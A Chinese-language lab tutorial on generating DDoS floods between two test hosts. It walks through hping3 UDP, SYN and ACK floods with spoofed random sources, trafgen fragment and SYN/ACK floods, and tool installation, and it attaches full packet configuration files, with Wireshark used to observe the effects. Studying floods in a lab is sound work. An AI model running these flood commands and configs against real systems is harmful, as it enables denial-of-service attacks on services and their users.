0x01 环境

包含2台主机

attact 作为攻击方,使用Centos7.2

windows_server  ,用于被攻击,同时抓包分析流量 ,任意版本均可。安装wireshark,用于抓包

0x02 步骤

一、使用hping

hping官网帮助信息

查看帮助信息

hping --help

1、使用hping3进行 udp flood攻击
hping3 --flood --rand-source --udp -p 目标端口 目标IP
hping3 --flood --rand-source --udp -c 100 -p 目标端口 目标IP

–flood : sent packets as fast as possible

–rand-source: random source address

–udp : UDP mode

-p –destport: destination port (default 0)

-c 100 发送100个数据包,用于实验,不加可能会死机

执行命令时,抓包查看发送数据。并观察目标机器网络

2、使用hping 进行syn_flood攻击

hping3 --flood –-rand-source -S -c 100 -p 目标端口 目标IP

-S:发送SYN标记

攻击后,在windows上使用 netstat -ano | find "SYN"命令,查看现象

3、使用hping 进行ack_flood攻击

hping3 --flood –-rand-source -A -c 100 -p 目标端口 目标IP

-A:发送ACK标记

试试同时发起syn_flood与ack_flood

二、使用netsniff的trafgen组件

1、使用trafgen进行udp 碎片攻击

small_frag.traf为配置模板,需要修改 目标IP地址 目标端口 目标MAC地址等参数

trafgen --cpp --dev 接口名 --conf small_frag.traf -n 100 --verbose

–cpp Run packet config through C preprocessor

–conf 配置文件

–dev 接口名,通过ifconfig可以查看

–verbose 冗余发送

-n 100 发送100个数据包,用于实验,不加可能会死机

2、使用trafgen进行syn_flood攻击

trafgen --cpp --dev 接口名 --conf syn_flood.traf -n 100 --verbose

3、使用trafgen进行ack_flood攻击

trafgen --cpp --dev 接口名 --conf ack_flood.traf -n 100 --verbose

试试同时发起syn_flood与ack_flood

三、安装实验工具hping3

wget https://github.com/antirez/hping/archive/master.zip

unzip master

cd hping-master

yum install libpcap-devel

ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h

yum -y install tcl tcl-devel

./configure

make && make install

参考:安装hping的一些坑

四、安装实验工具 netsniff-ng

yum install netsniff-ng -y

trafgen的相关使用可以参考这个

hping 官方help

hping官网帮助信息

五、附件

附件1

small_frag.traf

/* UDP fragment DoS attack
* Command example:
* trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
// trafgen packet conf for fragment DoS attack
// -------------------------------------------
// - Need to randomize the frag ID
// - Use trafgen support for dynamic checksum recalc
//
// Checksum cannot be fixed with iptables:
// iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
// Because traffic is injected a place which don't have any NF hooks
// {
// --- Ethernet Header ---
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol // --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40), // ID, notice runtime dynamic random
drnd(2), // IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000, 64, //TTL
17, // Proto UDP // Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33), 192, 168, 164, 188, // Source IP
192, 168, 164, 1, // Dest IP // --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(62148), // dst port
const16(20), // UDP length // UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0), // Payload
'A', fill(0x41, 11),
}
附件2

syn_flood.traf

/* TCP SYN attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/ #define ETH_P_IP 0x0800 #define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6) {
/* --- Ethernet Header --- */
/* NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2), /* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33), /* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 1, # Dest IP /* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(1033),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
const32(0), /* NOTICE ACK==zero with SYN packets */ /* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
const16((0x5 << 12) | SYN) /* TCP SYN Flag */
//const16((0x5 << 12) | ACK) /* TCP ACK Flag */ /* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/ /* Data */
"SYNswf"
}

附件3

ack_flood.traf

/* TCP ACK attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/ #define ETH_P_IP 0x0800 #define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6) {
/* --- Ethernet Header --- */
/* NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2), /* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33), /* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 128, # Dest IP /* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(80),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
drnd(4), /* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
//const16((0x5 << 12) | SYN) /* TCP SYN Flag */
const16((0x5 << 12) | ACK) /* TCP ACK Flag */ /* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/ /* Data */
"ACKswf"
}

DDOS流量攻击的更多相关文章

  1. 常见的 CSRF、XSS、sql注入、DDOS流量攻击

    CSRF攻击 :跨站请求伪造攻击 ,CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性 攻击者一般会使用吸引人的图片去引导用户点击进 ...

  2. 什么是高防服务器?如何搭建DDOS流量攻击防护系统

    关于高防服务器的使用以及需求,从以往的联众棋牌到目前发展迅猛的手机APP棋牌,越来越多的游戏行业都在使用高防服务器系统,从2018年1月到11月,国内棋牌运营公司发展到了几百家. 棋牌的玩法模式从之前 ...

  3. nginx解决服务器宕机、解决跨域问题、配置防盗链、防止DDOS流量攻击

    解决服务器宕机 配置nginx.cfg配置文件,在映射拦截地址中加入代理地址响应方案 location / { proxy_connect_timeout 1; proxy_send_timeout ...

  4. Nginx防止DDOS流量攻击

    DDOS流量攻击:频繁的发送请求,造成宽带占用,其他客户端无法访问                Nginx解决DDOS流量攻击,利用limit_req_zone限制请求次数    limit_con ...

  5. 如何防御网站被ddos攻击 首先要了解什么是流量攻击

    什么是DDOS流量攻击?我们大多数人第一眼看到这个DDOS就觉得是英文的,有点难度,毕竟是国外的,其实简单通俗来讲,DDOS攻击是利用带宽的流量来攻击服务器以及网站. 举个例子,服务器目前带宽是100 ...

  6. DDOS攻击(流量攻击)防御步骤

    DDOS全名是Distributed Denial of service (分布式拒绝服务攻击),很多DOS攻击源一起攻击某台服务器就组成了DDOS攻击,DDOS 最早可追溯到1996年最初,在中国2 ...

  7. DDOS的攻击原理和防护指南(转)

    DDOS的攻击原理和防护指南 作者:冰盾防火墙 网站:www.bingdun.com 日期:2008-01-07   我们现在来分析DDOS的攻击原理.     首先,DDOS是英文Distribut ...

  8. DDOS的攻击原理和防护指南

    我们现在来分析DDOS的攻击原理. 首先,DDOS是英文Distributed Denial of Service的缩写,意思是分布式拒绝服务.拒绝服务又是什么意思呢?就是采取一些垃圾数据包来阻塞网站 ...

  9. [故障公告]14:39-15:39博客站点部分负载均衡遭遇3次20G以上的流量攻击

      非常抱歉,今天下午14:39-15:39左右,博客站点的部分负载均衡遭遇3次20G以上的流量攻击,造成很多用户不能正常访问.由此给您带来麻烦,请您谅解. 攻击的过程是这样的: 14:39,第1次攻 ...

随机推荐

  1. 利用Monkey进行APP测试

    APP测试策略 功能测试 安装.卸载测试 升级测试(跨版本) 数据丢失 版本兼容 业务逻辑测试 UI测试 异常测试 适配测试 软件 兼容性测试 硬件 性能测试 效率测试 启动时间 响应时间 页面流畅度 ...

  2. [源码解析] NVIDIA HugeCTR,GPU版本参数服务器--- (2)

    [源码解析] NVIDIA HugeCTR,GPU版本参数服务器--- (2) 目录 [源码解析] NVIDIA HugeCTR,GPU版本参数服务器--- (2) 0x00 摘要 0x01 总体流程 ...

  3. 通过 call/cc 给 Ice 实现 Coroutine

    前两天给 Ice 加了 call/cc, 为此还重构了一波, 实现 call/cc 还是因为看了轮子哥的大专系列( 里边说提供 continuation 语言实现 Coroutine 起来很轻松, 后 ...

  4. C#动态规划法计算文本相似度

    C# 采用动态规划算法,计算两个字符串之间的相似程度. public static double CountTextSimilarity(string textX, string textY, boo ...

  5. macbook安装scala、hadoop、saprk环境

    一.scala安装 1. 安装jdk 有mac专用的jdk安装包,这里下载安装jdk1.8 2. 安装scala 2.1下载scala 2.2解压到指定目录 tar -zxvf /Users/lode ...

  6. Spring Cloud Feign 如何使用对象参数

    概述 Spring Cloud Feign 用于微服务的封装,通过接口代理的实现方式让微服务调用变得简单,让微服务的使用上如同本地服务.但是它在传参方面不是很完美.在使用 Feign 代理 GET 请 ...

  7. mac 调出任何来源方法

    如果没有这个选项的话(macOS Sierra 10.12),打开终端,执行sudo spctl --master-disable即可 这可以很好的解决掉 部分软件 显示已损坏的办法

  8. NSSCTF-finalrce

    菜狗的我打开题目之后,人都给我吓傻了,直接过滤的超出了我的认知  菜狗直接就枯了,这个题目其实是不难的,就是比较阴间的一个题目,审计代码,可以看到最后一行的代码"exec($url)&quo ...

  9. 隐写工具zsteg安装及使用教程

    zsteg可以检测PNG和BMP图片里的隐写数据. 目前,zsteg支持检测: LSB steganography in PNG & BMP zlib-compressed data Open ...

  10. C# 操作字符串注意事项

    下面是常见的一个例子 static void Main(string[] args) { string str = "test"+9; string str2 = "te ...